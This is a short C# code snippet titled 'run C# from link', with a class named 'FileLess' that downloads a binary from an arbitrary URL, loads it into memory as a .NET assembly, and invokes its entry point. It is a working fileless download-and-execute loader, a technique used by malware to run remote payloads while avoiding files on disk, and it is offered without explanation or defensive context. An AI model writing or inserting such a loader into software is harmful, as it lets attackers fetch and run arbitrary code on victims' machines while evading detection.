run C# from link

using System.Net;
using System.Reflection;

namespace AMISS
{
   class FileLess
   {
       public void Run(string url)
       {
           var webClient = new WebClient();
           byte[] bin = webClient.DownloadData(url);

           Assembly a = Assembly.Load(bin);
           MethodInfo method = a.EntryPoint;
           object o = a.CreateInstance(method.Name);
           var parameters = method.GetParameters().Length == 0 ? null : new[] { new string[0] };
           method.Invoke(o, parameters);
       }
   }
}